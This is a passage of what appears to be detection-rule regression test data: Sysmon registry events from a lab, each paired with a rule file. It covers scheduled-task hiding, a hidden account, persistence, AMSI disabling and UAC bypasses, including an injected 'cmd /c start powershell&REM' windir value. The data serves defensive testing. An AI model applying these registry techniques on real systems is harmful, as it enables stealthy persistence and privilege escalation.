"content": "{\n \"Event\": {\n \"#attributes\": {\n \"xmlns\": \"http://schemas.microsoft.com/win/2004/08/events/event\"\n },\n \"System\": {\n \"Provider\": {\n \"#attributes\": {\n \"Name\": \"Microsoft-Windows-Sysmon\",\n \"Guid\": \"5770385F-C22A-43E0-BF4C-06F5698FFBD9\"\n }\n },\n \"EventID\": 12,\n \"Version\": 2,\n \"Level\": 4,\n \"Task\": 12,\n \"Opcode\": 0,\n \"Keywords\": \"0x8000000000000000\",\n \"TimeCreated\": {\n \"#attributes\": {\n \"SystemTime\": \"2025-10-25T00:01:59.334619Z\"\n }\n },\n \"EventRecordID\": 156421,\n \"Correlation\": null,\n \"Execution\": {\n \"#attributes\": {\n \"ProcessID\": 3308,\n \"ThreadID\": 4008\n }\n },\n \"Channel\": \"Microsoft-Windows-Sysmon/Operational\",\n \"Computer\": \"ar-win-dc.attackrange.local\",\n \"Security\": {\n \"#attributes\": {\n \"UserID\": \"S-1-5-18\"\n }\n }\n },\n \"EventData\": {\n \"RuleName\": \"-\",\n \"EventType\": \"DeleteValue\",\n \"UtcTime\": \"2025-10-25 00:01:59.330\",\n \"ProcessGuid\": \"5AA13A44-1377-68FC-A61E-000000004002\",\n \"ProcessId\": 5160,\n \"Image\": \"C:\\\\Windows\\\\system32\\\\reg.exe\",\n \"TargetObject\": \"HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Schedule\\\\TaskCache\\\\Tree\\\\MaliciousTask\\\\Index\",\n \"User\": \"NT AUTHORITY\\\\SYSTEM\"\n }\n }\n}\n"
},
{
"path": "regression_data/rules/windows/registry/registry_delete/registry_delete_schtasks_hide_task_via_index_value_removal/info.yml",
"content": "id: f3670cef-9f21-4a86-901b-c28c285f3b52\ndescription: N/A\ndate: 2025-10-24\nauthor: SigmaHQ Team\nrule_metadata:\n - id: 526cc8bc-1cdc-48ad-8b26-f19bff969cec\n title: Removal Of Index Value to Hide Schedule Task - Registry\nregression_tests_info:\n - name: Positive Detection Test\n type: evtx\n provider: Microsoft-Windows-Sysmon\n match_count: 1\n path: regression_data/rules/windows/registry/registry_delete/registry_delete_schtasks_hide_task_via_index_value_removal/526cc8bc-1cdc-48ad-8b26-f19bff969cec.evtx\n"
},
{
"path": "regression_data/rules/windows/registry/registry_delete/registry_delete_schtasks_hide_task_via_sd_value_removal/acd74772-5f88-45c7-956b-6a7b36c294d2.json",
"content": "{\n \"Event\": {\n \"#attributes\": {\n \"xmlns\": \"http://schemas.microsoft.com/win/2004/08/events/event\"\n },\n \"System\": {\n \"Provider\": {\n \"#attributes\": {\n \"Name\": \"Microsoft-Windows-Sysmon\",\n \"Guid\": \"5770385F-C22A-43E0-BF4C-06F5698FFBD9\"\n }\n },\n \"EventID\": 12,\n \"Version\": 2,\n \"Level\": 4,\n \"Task\": 12,\n \"Opcode\": 0,\n \"Keywords\": \"0x8000000000000000\",\n \"TimeCreated\": {\n \"#attributes\": {\n \"SystemTime\": \"2025-10-25T00:01:54.872810Z\"\n }\n },\n \"EventRecordID\": 155709,\n \"Correlation\": null,\n \"Execution\": {\n \"#attributes\": {\n \"ProcessID\": 3308,\n \"ThreadID\": 4008\n }\n },\n \"Channel\": \"Microsoft-Windows-Sysmon/Operational\",\n \"Computer\": \"ar-win-dc.attackrange.local\",\n \"Security\": {\n \"#attributes\": {\n \"UserID\": \"S-1-5-18\"\n }\n }\n },\n \"EventData\": {\n \"RuleName\": \"-\",\n \"EventType\": \"DeleteValue\",\n \"UtcTime\": \"2025-10-25 00:01:54.861\",\n \"ProcessGuid\": \"5AA13A44-1372-68FC-A51E-000000004002\",\n \"ProcessId\": 7008,\n \"Image\": \"C:\\\\Windows\\\\system32\\\\reg.exe\",\n \"TargetObject\": \"HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Schedule\\\\TaskCache\\\\Tree\\\\MaliciousTask\\\\SD\",\n \"User\": \"NT AUTHORITY\\\\SYSTEM\"\n }\n }\n}\n"
},
{
"path": "regression_data/rules/windows/registry/registry_delete/registry_delete_schtasks_hide_task_via_sd_value_removal/info.yml",
"content": "id: b796fd1e-a03a-4db8-a072-c597b6e0da1b\ndescription: N/A\ndate: 2025-10-24\nauthor: SigmaHQ Team\nrule_metadata:\n - id: acd74772-5f88-45c7-956b-6a7b36c294d2\n title: Removal Of SD Value to Hide Schedule Task - Registry\nregression_tests_info:\n - name: Positive Detection Test\n type: evtx\n provider: Microsoft-Windows-Sysmon\n match_count: 1\n path: regression_data/rules/windows/registry/registry_delete/registry_delete_schtasks_hide_task_via_sd_value_removal/acd74772-5f88-45c7-956b-6a7b36c294d2.evtx\n"
},
{
"path": "regression_data/rules/windows/registry/registry_event/registry_event_add_local_hidden_user/460479f3-80b7-42da-9c43-2cc1d54dbccd.json",
"content": "{\n \"Event\": {\n \"#attributes\": {\n \"xmlns\": \"http://schemas.microsoft.com/win/2004/08/events/event\"\n },\n \"System\": {\n \"Provider\": {\n \"#attributes\": {\n \"Name\": \"Microsoft-Windows-Sysmon\",\n \"Guid\": \"5770385F-C22A-43E0-BF4C-06F5698FFBD9\"\n }\n },\n \"EventID\": 13,\n \"Version\": 2,\n \"Level\": 4,\n \"Task\": 13,\n \"Opcode\": 0,\n \"Keywords\": \"0x8000000000000000\",\n \"TimeCreated\": {\n \"#attributes\": {\n \"SystemTime\": \"2020-12-18T17:56:07.017817Z\"\n }\n },\n \"EventRecordID\": 596571,\n \"Correlation\": null,\n \"Execution\": {\n \"#attributes\": {\n \"ProcessID\": 3552,\n \"ThreadID\": 5004\n }\n },\n \"Channel\": \"Microsoft-Windows-Sysmon/Operational\",\n \"Computer\": \"MSEDGEWIN10\",\n \"Security\": {\n \"#attributes\": {\n \"UserID\": \"S-1-5-18\"\n }\n }\n },\n \"EventData\": {\n \"RuleName\": \"Hidden Local Account Created\",\n \"EventType\": \"SetValue\",\n \"UtcTime\": \"2020-12-18 17:56:07.015\",\n \"ProcessGuid\": \"747F3D96-68DD-5FDD-0000-00101B660000\",\n \"ProcessId\": 648,\n \"Image\": \"C:\\\\Windows\\\\system32\\\\lsass.exe\",\n \"TargetObject\": \"HKLM\\\\SAM\\\\SAM\\\\Domains\\\\Account\\\\Users\\\\Names\\\\hideme0007$\\\\(Default)\",\n \"Details\": \"Binary Data\"\n }\n }\n}\n"
},
{
"path": "regression_data/rules/windows/registry/registry_event/registry_event_add_local_hidden_user/info.yml",
"content": "id: 1c45847c-0ccb-43f5-aa06-ad97d1553d5a\ndescription: N/A\ndate: 2025-10-31\nauthor: SigmaHQ Team\nrule_metadata:\n - id: 460479f3-80b7-42da-9c43-2cc1d54dbccd\n title: Creation of a Local Hidden User Account by Registry\nregression_tests_info:\n - name: Positive Detection Test\n type: evtx\n provider: Microsoft-Windows-Sysmon\n match_count: 1\n path: regression_data/rules/windows/registry/registry_event/registry_event_add_local_hidden_user/460479f3-80b7-42da-9c43-2cc1d54dbccd.evtx\n"
},
{
"path": "regression_data/rules/windows/registry/registry_set/registry_set_add_load_service_in_safe_mode/1547e27c-3974-43e2-a7d7-7f484fb928ec.json",
"content": "{\n \"Event\": {\n \"#attributes\": {\n \"xmlns\": \"http://schemas.microsoft.com/win/2004/08/events/event\"\n },\n \"System\": {\n \"Provider\": {\n \"#attributes\": {\n \"Name\": \"Microsoft-Windows-Sysmon\",\n \"Guid\": \"5770385F-C22A-43E0-BF4C-06F5698FFBD9\"\n }\n },\n \"EventID\": 13,\n \"Version\": 2,\n \"Level\": 4,\n \"Task\": 13,\n \"Opcode\": 0,\n \"Keywords\": \"0x8000000000000000\",\n \"TimeCreated\": {\n \"#attributes\": {\n \"SystemTime\": \"2025-10-26T17:28:03.064387Z\"\n }\n },\n \"EventRecordID\": 27517409,\n \"Correlation\": null,\n \"Execution\": {\n \"#attributes\": {\n \"ProcessID\": 3308,\n \"ThreadID\": 4008\n }\n },\n \"Channel\": \"Microsoft-Windows-Sysmon/Operational\",\n \"Computer\": \"ar-win-dc.attackrange.local\",\n \"Security\": {\n \"#attributes\": {\n \"UserID\": \"S-1-5-18\"\n }\n }\n },\n \"EventData\": {\n \"RuleName\": \"-\",\n \"EventType\": \"SetValue\",\n \"UtcTime\": \"2025-10-26 17:28:03.060\",\n \"ProcessGuid\": \"5AA13A44-5A23-68FE-2155-000000004002\",\n \"ProcessId\": 4400,\n \"Image\": \"C:\\\\Windows\\\\system32\\\\reg.exe\",\n \"TargetObject\": \"HKLM\\\\System\\\\CurrentControlSet\\\\Control\\\\SafeBoot\\\\Minimal\\\\AtomicSafeMode\\\\(Default)\",\n \"Details\": \"Service\",\n \"User\": \"ATTACKRANGE\\\\Administrator\"\n }\n }\n}\n"
},
{
"path": "regression_data/rules/windows/registry/registry_set/registry_set_add_load_service_in_safe_mode/info.yml",
"content": "id: 26f40be2-5b94-4e29-9e34-2e8efb43d6f8\ndescription: N/A\ndate: 2025-10-24\nauthor: SigmaHQ Team\nrule_metadata:\n - id: 1547e27c-3974-43e2-a7d7-7f484fb928ec\n title: Registry Persistence via Service in Safe Mode\nregression_tests_info:\n - name: Positive Detection Test\n type: evtx\n provider: Microsoft-Windows-Sysmon\n match_count: 1\n path: regression_data/rules/windows/registry/registry_set/registry_set_add_load_service_in_safe_mode/1547e27c-3974-43e2-a7d7-7f484fb928ec.evtx\n"
},
{
"path": "regression_data/rules/windows/registry/registry_set/registry_set_add_port_monitor/944e8941-f6f6-4ee8-ac05-1c224e923c0e.json",
"content": "{\n \"Event\": {\n \"#attributes\": {\n \"xmlns\": \"http://schemas.microsoft.com/win/2004/08/events/event\"\n },\n \"System\": {\n \"Provider\": {\n \"#attributes\": {\n \"Name\": \"Microsoft-Windows-Sysmon\",\n \"Guid\": \"5770385F-C22A-43E0-BF4C-06F5698FFBD9\"\n }\n },\n \"EventID\": 13,\n \"Version\": 2,\n \"Level\": 4,\n \"Task\": 13,\n \"Opcode\": 0,\n \"Keywords\": \"0x8000000000000000\",\n \"TimeCreated\": {\n \"#attributes\": {\n \"SystemTime\": \"2025-10-26T17:33:36.133400Z\"\n }\n },\n \"EventRecordID\": 27619790,\n \"Correlation\": null,\n \"Execution\": {\n \"#attributes\": {\n \"ProcessID\": 3308,\n \"ThreadID\": 4008\n }\n },\n \"Channel\": \"Microsoft-Windows-Sysmon/Operational\",\n \"Computer\": \"ar-win-dc.attackrange.local\",\n \"Security\": {\n \"#attributes\": {\n \"UserID\": \"S-1-5-18\"\n }\n }\n },\n \"EventData\": {\n \"RuleName\": \"-\",\n \"EventType\": \"SetValue\",\n \"UtcTime\": \"2025-10-26 17:33:36.131\",\n \"ProcessGuid\": \"5AA13A44-5B70-68FE-4655-000000004002\",\n \"ProcessId\": 8024,\n \"Image\": \"C:\\\\Windows\\\\system32\\\\reg.exe\",\n \"TargetObject\": \"HKLM\\\\System\\\\CurrentControlSet\\\\Control\\\\Print\\\\Monitors\\\\AtomicRedTeam\\\\Driver\",\n \"Details\": \"C:\\\\AtomicRedTeam\\\\atomics\\\\T1547.010\\\\bin\\\\PortMonitor.dll\",\n \"User\": \"ATTACKRANGE\\\\Administrator\"\n }\n }\n}\n"
},
{
"path": "regression_data/rules/windows/registry/registry_set/registry_set_add_port_monitor/info.yml",
"content": "id: 8f807b19-07e7-4471-b4ff-d961f2e1d71f\ndescription: N/A\ndate: 2025-10-24\nauthor: SigmaHQ Team\nrule_metadata:\n - id: 944e8941-f6f6-4ee8-ac05-1c224e923c0e\n title: Add Port Monitor Persistence in Registry\nregression_tests_info:\n - name: Positive Detection Test\n type: evtx\n provider: Microsoft-Windows-Sysmon\n match_count: 1\n path: regression_data/rules/windows/registry/registry_set/registry_set_add_port_monitor/944e8941-f6f6-4ee8-ac05-1c224e923c0e.evtx\n"
},
{
"path": "regression_data/rules/windows/registry/registry_set/registry_set_allow_rdp_remote_assistance_feature/37b437cf-3fc5-4c8e-9c94-1d7c9aff842b.json",
"content": "{\n \"Event\": {\n \"#attributes\": {\n \"xmlns\": \"http://schemas.microsoft.com/win/2004/08/events/event\"\n },\n \"System\": {\n \"Provider\": {\n \"#attributes\": {\n \"Name\": \"Microsoft-Windows-Sysmon\",\n \"Guid\": \"5770385F-C22A-43E0-BF4C-06F5698FFBD9\"\n }\n },\n \"EventID\": 13,\n \"Version\": 2,\n \"Level\": 4,\n \"Task\": 13,\n \"Opcode\": 0,\n \"Keywords\": \"0x8000000000000000\",\n \"TimeCreated\": {\n \"#attributes\": {\n \"SystemTime\": \"2025-10-26T17:36:04.950926Z\"\n }\n },\n \"EventRecordID\": 27665830,\n \"Correlation\": null,\n \"Execution\": {\n \"#attributes\": {\n \"ProcessID\": 3308,\n \"ThreadID\": 4008\n }\n },\n \"Channel\": \"Microsoft-Windows-Sysmon/Operational\",\n \"Computer\": \"ar-win-dc.attackrange.local\",\n \"Security\": {\n \"#attributes\": {\n \"UserID\": \"S-1-5-18\"\n }\n }\n },\n \"EventData\": {\n \"RuleName\": \"-\",\n \"EventType\": \"SetValue\",\n \"UtcTime\": \"2025-10-26 17:36:04.941\",\n \"ProcessGuid\": \"5AA13A44-5C04-68FE-5855-000000004002\",\n \"ProcessId\": 10080,\n \"Image\": \"C:\\\\Windows\\\\system32\\\\reg.exe\",\n \"TargetObject\": \"HKLM\\\\System\\\\CurrentControlSet\\\\Control\\\\Terminal Server\\\\fAllowToGetHelp\",\n \"Details\": \"DWORD (0x00000001)\",\n \"User\": \"ATTACKRANGE\\\\Administrator\"\n }\n }\n}\n"
},
{
"path": "regression_data/rules/windows/registry/registry_set/registry_set_allow_rdp_remote_assistance_feature/info.yml",
"content": "id: a9bcd1ab-6556-4fc3-b9c9-724b335485e4\ndescription: N/A\ndate: 2025-10-24\nauthor: SigmaHQ Team\nrule_metadata:\n - id: 37b437cf-3fc5-4c8e-9c94-1d7c9aff842b\n title: Allow RDP Remote Assistance Feature\nregression_tests_info:\n - name: Positive Detection Test\n type: evtx\n provider: Microsoft-Windows-Sysmon\n match_count: 1\n path: regression_data/rules/windows/registry/registry_set/registry_set_allow_rdp_remote_assistance_feature/37b437cf-3fc5-4c8e-9c94-1d7c9aff842b.evtx\n"
},
{
"path": "regression_data/rules/windows/registry/registry_set/registry_set_amsi_disable/aa37cbb0-da36-42cb-a90f-fdf216fc7467.json",
"content": "{\n \"Event\": {\n \"#attributes\": {\n \"xmlns\": \"http://schemas.microsoft.com/win/2004/08/events/event\"\n },\n \"System\": {\n \"Provider\": {\n \"#attributes\": {\n \"Name\": \"Microsoft-Windows-Sysmon\",\n \"Guid\": \"5770385F-C22A-43E0-BF4C-06F5698FFBD9\"\n }\n },\n \"EventID\": 13,\n \"Version\": 2,\n \"Level\": 4,\n \"Task\": 13,\n \"Opcode\": 0,\n \"Keywords\": \"0x8000000000000000\",\n \"TimeCreated\": {\n \"#attributes\": {\n \"SystemTime\": \"2025-12-25T10:58:31.890479Z\"\n }\n },\n \"EventRecordID\": 16031,\n \"Correlation\": null,\n \"Execution\": {\n \"#attributes\": {\n \"ProcessID\": 3208,\n \"ThreadID\": 1724\n }\n },\n \"Channel\": \"Microsoft-Windows-Sysmon/Operational\",\n \"Computer\": \"swachchhanda\",\n \"Security\": {\n \"#attributes\": {\n \"UserID\": \"S-1-5-18\"\n }\n }\n },\n \"EventData\": {\n \"RuleName\": \"-\",\n \"EventType\": \"SetValue\",\n \"UtcTime\": \"2025-12-25 10:58:31.888\",\n \"ProcessGuid\": \"0197231E-EC48-694C-AA0C-000000000800\",\n \"ProcessId\": 12456,\n \"Image\": \"C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe\",\n \"TargetObject\": \"HKU\\\\S-1-5-21-2555720767-1205513275-3893774561-1001\\\\Software\\\\Microsoft\\\\Windows Script\\\\Settings\\\\AmsiEnable\",\n \"Details\": \"DWORD (0x00000000)\",\n \"User\": \"swachchhanda\\\\xodih\"\n }\n }\n}\n"
},
{
"path": "regression_data/rules/windows/registry/registry_set/registry_set_amsi_disable/info.yml",
"content": "id: a02685df-b4dd-4f5b-b120-9127e1662022\ndescription: N/A\ndate: 2025-12-25\nauthor: Swachchhanda Shrawan Poudel (Nextron Systems)\nrule_metadata:\n - id: aa37cbb0-da36-42cb-a90f-fdf216fc7467\n title: AMSI Disabled via Registry Modification\nregression_tests_info:\n - name: Positive Detection Test\n type: evtx\n provider: Microsoft-Windows-Sysmon\n match_count: 1\n path: regression_data/rules/windows/registry/registry_set/registry_set_amsi_disable/aa37cbb0-da36-42cb-a90f-fdf216fc7467.evtx\n"
},
{
"path": "regression_data/rules/windows/registry/registry_set/registry_set_bypass_uac_using_delegateexecute/46dd5308-4572-4d12-aa43-8938f0184d4f.json",
"content": "{\n \"Event\": {\n \"#attributes\": {\n \"xmlns\": \"http://schemas.microsoft.com/win/2004/08/events/event\"\n },\n \"System\": {\n \"Provider\": {\n \"#attributes\": {\n \"Name\": \"Microsoft-Windows-Sysmon\",\n \"Guid\": \"5770385F-C22A-43E0-BF4C-06F5698FFBD9\"\n }\n },\n \"EventID\": 13,\n \"Version\": 2,\n \"Level\": 4,\n \"Task\": 13,\n \"Opcode\": 0,\n \"Keywords\": \"0x8000000000000000\",\n \"TimeCreated\": {\n \"#attributes\": {\n \"SystemTime\": \"2025-10-26T17:41:48.911849Z\"\n }\n },\n \"EventRecordID\": 27772045,\n \"Correlation\": null,\n \"Execution\": {\n \"#attributes\": {\n \"ProcessID\": 3308,\n \"ThreadID\": 4008\n }\n },\n \"Channel\": \"Microsoft-Windows-Sysmon/Operational\",\n \"Computer\": \"ar-win-dc.attackrange.local\",\n \"Security\": {\n \"#attributes\": {\n \"UserID\": \"S-1-5-18\"\n }\n }\n },\n \"EventData\": {\n \"RuleName\": \"-\",\n \"EventType\": \"SetValue\",\n \"UtcTime\": \"2025-10-26 17:41:48.898\",\n \"ProcessGuid\": \"5AA13A44-5D5B-68FE-7B55-000000004002\",\n \"ProcessId\": 420,\n \"Image\": \"C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe\",\n \"TargetObject\": \"HKU\\\\S-1-5-21-3960063115-309473240-3247002503-500_Classes\\\\Folder\\\\shell\\\\open\\\\command\\\\DelegateExecute\",\n \"Details\": \"(Empty)\",\n \"User\": \"ATTACKRANGE\\\\Administrator\"\n }\n }\n}\n"
},
{
"path": "regression_data/rules/windows/registry/registry_set/registry_set_bypass_uac_using_delegateexecute/info.yml",
"content": "id: 7fce1d05-2297-48a4-a670-f28745819c8a\ndescription: N/A\ndate: 2025-10-24\nauthor: SigmaHQ Team\nrule_metadata:\n - id: 46dd5308-4572-4d12-aa43-8938f0184d4f\n title: Bypass UAC Using DelegateExecute\nregression_tests_info:\n - name: Positive Detection Test\n type: evtx\n provider: Microsoft-Windows-Sysmon\n match_count: 1\n path: regression_data/rules/windows/registry/registry_set/registry_set_bypass_uac_using_delegateexecute/46dd5308-4572-4d12-aa43-8938f0184d4f.evtx\n"
},
{
"path": "regression_data/rules/windows/registry/registry_set/registry_set_bypass_uac_using_eventviewer/674202d0-b22a-4af4-ae5f-2eda1f3da1af.json",
"content": "{\n \"Event\": {\n \"#attributes\": {\n \"xmlns\": \"http://schemas.microsoft.com/win/2004/08/events/event\"\n },\n \"System\": {\n \"Provider\": {\n \"#attributes\": {\n \"Name\": \"Microsoft-Windows-Sysmon\",\n \"Guid\": \"5770385F-C22A-43E0-BF4C-06F5698FFBD9\"\n }\n },\n \"EventID\": 13,\n \"Version\": 2,\n \"Level\": 4,\n \"Task\": 13,\n \"Opcode\": 0,\n \"Keywords\": \"0x8000000000000000\",\n \"TimeCreated\": {\n \"#attributes\": {\n \"SystemTime\": \"2025-10-26T17:43:38.730630Z\"\n }\n },\n \"EventRecordID\": 27806256,\n \"Correlation\": null,\n \"Execution\": {\n \"#attributes\": {\n \"ProcessID\": 3308,\n \"ThreadID\": 4008\n }\n },\n \"Channel\": \"Microsoft-Windows-Sysmon/Operational\",\n \"Computer\": \"ar-win-dc.attackrange.local\",\n \"Security\": {\n \"#attributes\": {\n \"UserID\": \"S-1-5-18\"\n }\n }\n },\n \"EventData\": {\n \"RuleName\": \"-\",\n \"EventType\": \"SetValue\",\n \"UtcTime\": \"2025-10-26 17:43:38.715\",\n \"ProcessGuid\": \"5AA13A44-5DCA-68FE-8B55-000000004002\",\n \"ProcessId\": 9920,\n \"Image\": \"C:\\\\Windows\\\\system32\\\\reg.exe\",\n \"TargetObject\": \"HKU\\\\S-1-5-21-3960063115-309473240-3247002503-500_Classes\\\\mscfile\\\\shell\\\\open\\\\command\\\\(Default)\",\n \"Details\": \"C:\\\\Windows\\\\System32\\\\cmd.exe\",\n \"User\": \"ATTACKRANGE\\\\Administrator\"\n }\n }\n}\n"
},
{
"path": "regression_data/rules/windows/registry/registry_set/registry_set_bypass_uac_using_eventviewer/info.yml",
"content": "id: a6667fba-7437-4b37-8584-5de021f91115\ndescription: N/A\ndate: 2025-10-24\nauthor: SigmaHQ Team\nrule_metadata:\n - id: 674202d0-b22a-4af4-ae5f-2eda1f3da1af\n title: Bypass UAC Using Event Viewer\nregression_tests_info:\n - name: Positive Detection Test\n type: evtx\n provider: Microsoft-Windows-Sysmon\n match_count: 1\n path: regression_data/rules/windows/registry/registry_set/registry_set_bypass_uac_using_eventviewer/674202d0-b22a-4af4-ae5f-2eda1f3da1af.evtx\n"
},
{
"path": "regression_data/rules/windows/registry/registry_set/registry_set_bypass_uac_using_silentcleanup_task/724ea201-6514-4f38-9739-e5973c34f49a.json",
"content": "{\n \"Event\": {\n \"#attributes\": {\n \"xmlns\": \"http://schemas.microsoft.com/win/2004/08/events/event\"\n },\n \"System\": {\n \"Provider\": {\n \"#attributes\": {\n \"Name\": \"Microsoft-Windows-Sysmon\",\n \"Guid\": \"5770385F-C22A-43E0-BF4C-06F5698FFBD9\"\n }\n },\n \"EventID\": 13,\n \"Version\": 2,\n \"Level\": 4,\n \"Task\": 13,\n \"Opcode\": 0,\n \"Keywords\": \"0x8000000000000000\",\n \"TimeCreated\": {\n \"#attributes\": {\n \"SystemTime\": \"2025-10-26T17:50:12.576627Z\"\n }\n },\n \"EventRecordID\": 27929906,\n \"Correlation\": null,\n \"Execution\": {\n \"#attributes\": {\n \"ProcessID\": 3308,\n \"ThreadID\": 4008\n }\n },\n \"Channel\": \"Microsoft-Windows-Sysmon/Operational\",\n \"Computer\": \"ar-win-dc.attackrange.local\",\n \"Security\": {\n \"#attributes\": {\n \"UserID\": \"S-1-5-18\"\n }\n }\n },\n \"EventData\": {\n \"RuleName\": \"-\",\n \"EventType\": \"SetValue\",\n \"UtcTime\": \"2025-10-26 17:50:12.565\",\n \"ProcessGuid\": \"5AA13A44-5F54-68FE-B455-000000004002\",\n \"ProcessId\": 2768,\n \"Image\": \"C:\\\\Windows\\\\system32\\\\reg.exe\",\n \"TargetObject\": \"HKU\\\\S-1-5-21-3960063115-309473240-3247002503-500\\\\Environment\\\\windir\",\n \"Details\": \"cmd /c start powershell&REM\",\n \"User\": \"ATTACKRANGE\\\\Administrator\"\n }\n }\n}\n"
},
{
"path": "regression_data/rules/windows/registry/registry_set/registry_set_bypass_uac_using_silentcleanup_task/info.yml",
"content": "id: 48965782-760d-4620-9bf3-7fb0bb441d0f\ndescription: N/A\ndate: 2025-10-24\nauthor: SigmaHQ Team\nrule_metadata:\n - id: 724ea201-6514-4f38-9739-e5973c34f49a\n title: Bypass UAC Using SilentCleanup Task\nregression_tests_info:\n - name: Positive Detection Test\n type: evtx\n provider: Microsoft-Windows-Sysmon\n match_count: 1\n path: regression_data/rules/windows/registry/registry_set/registry_set_bypass_uac_using_silentcleanup_task/724ea201-6514-4f38-9739-e5973c34f49a.evtx\n"
},
{
"path": "regression_data/rules/windows/registry/registry_set/registry_set_change_rdp_port/509e84b9-a71a-40e0-834f-05470369bd1e.json",
"content": "{\n \"Event\": {\n \"#attributes\": {\n \"xmlns\": \"http://schemas.microsoft.com/win/2004/08/events/event\"\n },\n \"System\": {\n \"Provider\": {\n \"#attributes\": {\n \"Name\": \"Microsoft-Windows-Sysmon\",\n \"Guid\": \"5770385F-C22A-43E0-BF4C-06F5698FFBD9\"\n }\n },\n \"EventID\": 13,\n \"Version\": 2,\n \"Level\": 4,\n \"Task\": 13,\n \"Opcode\": 0,\n \"Keywords\": \"0x8000000000000000\",\n \"TimeCreated\": {\n \"#attributes\": {\n \"SystemTime\": \"2025-10-26T18:10:21.083557Z\"\n }\n },\n \"EventRecordID\": 28299540,\n \"Correlation\": null,\n \"Execution\": {\n \"#attributes\": {\n \"ProcessID\": 3308,\n \"ThreadID\": 4008\n }\n },\n \"Channel\": \"Microsoft-Windows-Sysmon/Operational\",\n \"Computer\": \"ar-win-dc.attackrange.local\",\n \"Security\": {\n \"#attributes\": {\n \"UserID\": \"S-1-5-18\"\n }\n }\n },\n \"EventData\": {\n \"RuleName\": \"-\",\n \"EventType\": \"SetValue\",\n \"UtcTime\": \"2025-10-26 18:10:21.071\",\n \"ProcessGuid\": \"5AA13A44-640D-68FE-3756-000000004002\",\n \"ProcessId\": 992,\n \"Image\": \"C:\\\\Windows\\\\system32\\\\reg.exe\",\n \"TargetObject\": \"HKLM\\\\System\\\\CurrentControlSet\\\\Control\\\\Terminal Server\\\\WinStations\\\\RDP-Tcp\\\\PortNumber\",\n \"Details\": \"DWORD (0x00001189)\",\n \"User\": \"ATTACKRANGE\\\\Administrator\"\n }\n }\n}\n"
},
{
"path": "regression_data/rules/windows/registry/registry_set/registry_set_change_rdp_port/info.yml",
"content": "id: 88bf1ccf-789d-4864-9eaf-547990ffe90a\ndescription: N/A\ndate: 2025-10-24\nauthor: SigmaHQ Team\nrule_metadata:\n - id: 509e84b9-a71a-40e0-834f-05470369bd1e\n title: Default RDP Port Changed to Non Standard Port\nregression_tests_info:\n - name: Positive Detection Test\n type: evtx\n provider: Microsoft-Windows-Sysmon\n match_count: 1\n path: regression_data/rules/windows/registry/registry_set/registry_set_change_rdp_port/509e84b9-a71a-40e0-834f-05470369bd1e.evtx\n"
},
{
"path": "regression_data/rules/windows/registry/registry_set/registry_set_change_security_zones/45e112d0-7759-4c2a-aa36-9f8fb79d3393.json",
"content": "{\n \"Event\": {\n \"#attributes\": {\n \"xmlns\": \"http://schemas.microsoft.com/win/2004/08/events/event\"\n },\n \"System\": {\n \"Provider\": {\n \"#attributes\": {\n \"Name\": \"Microsoft-Windows-Sysmon\",\n \"Guid\": \"5770385F-C22A-43E0-BF4C-06F5698FFBD9\"\n }\n },\n \"EventID\": 13,\n \"Version\": 2,\n \"Level\": 4,\n \"Task\": 13,\n \"Opcode\": 0,\n \"Keywords\": \"0x8000000000000000\",\n \"TimeCreated\": {\n \"#attributes\": {\n \"SystemTime\": \"2025-10-26T18:12:38.481829Z\"\n }\n },\n \"EventRecordID\": 28344631,\n \"Correlation\": null,\n \"Execution\": {\n \"#attributes\": {\n \"ProcessID\": 3308,\n \"ThreadID\": 4008\n }\n },\n \"Channel\": \"Microsoft-Windows-Sysmon/Operational\",\n \"Computer\": \"ar-win-dc.attackrange.local\",\n \"Security\": {\n \"#attributes\": {\n \"UserID\": \"S-1-5-18\"\n }\n }\n },\n \"EventData\": {\n \"RuleName\": \"-\",\n \"EventType\": \"SetValue\",\n \"UtcTime\": \"2025-10-26 18:12:38.476\",\n \"ProcessGuid\": \"5AA13A44-6494-68FE-6A56-000000004002\",\n \"ProcessId\": 7460,\n \"Image\": \"C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe\",\n \"TargetObject\": \"HKU\\\\S-1-5-21-3960063115-309473240-3247002503-500\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Internet Settings\\\\ZoneMap\\\\Domains\\\\bad-domain.com\\\\bad-subdomain\\\\https\",\n \"Details\": \"DWORD (0x00000002)\",\n \"User\": \"ATTACKRANGE\\\\Administrator\"\n }\n }\n}\n{\n \"Event\": {\n \"#attributes\": {\n \"xmlns\": \"http://schemas.microsoft.com/win/2004/08/events/event\"\n },\n \"System\": {\n \"Provider\": {\n \"#attributes\": {\n \"Name\": \"Microsoft-Windows-Sysmon\",\n \"Guid\": \"5770385F-C22A-43E0-BF4C-06F5698FFBD9\"\n }\n },\n \"EventID\": 13,\n \"Version\": 2,\n \"Level\": 4,\n \"Task\": 13,\n \"Opcode\": 0,\n \"Keywords\": \"0x8000000000000000\",\n \"TimeCreated\": {\n \"#attributes\": {\n \"SystemTime\": \"2025-10-26T18:12:38.491176Z\"\n }\n },\n \"EventRecordID\": 28344632,\n \"Correlation\": null,\n \"Execution\": {\n \"#attributes\": {\n \"ProcessID\": 3308,\n \"ThreadID\": 4008\n }\n },\n \"Channel\": \"Microsoft-Windows-Sysmon/Operational\",\n \"Computer\": \"ar-win-dc.attackrange.local\",\n \"Security\": {\n \"#attributes\": {\n \"UserID\": \"S-1-5-18\"\n }\n }\n },\n \"EventData\": {\n \"RuleName\": \"-\",\n \"EventType\": \"SetValue\",\n \"UtcTime\": \"2025-10-26 18:12:38.476\",\n \"ProcessGuid\": \"5AA13A44-6494-68FE-6A56-000000004002\",\n \"ProcessId\": 7460,\n \"Image\": \"C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe\",\n \"TargetObject\": \"HKU\\\\S-1-5-21-3960063115-309473240-3247002503-500\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Internet Settings\\\\ZoneMap\\\\Domains\\\\bad-domain.com\\\\bad-subdomain\\\\http\",\n \"Details\": \"DWORD (0x00000002)\",\n \"User\": \"ATTACKRANGE\\\\Administrator\"\n }\n }\n}\n{\n \"Event\": {\n \"#attributes\": {\n 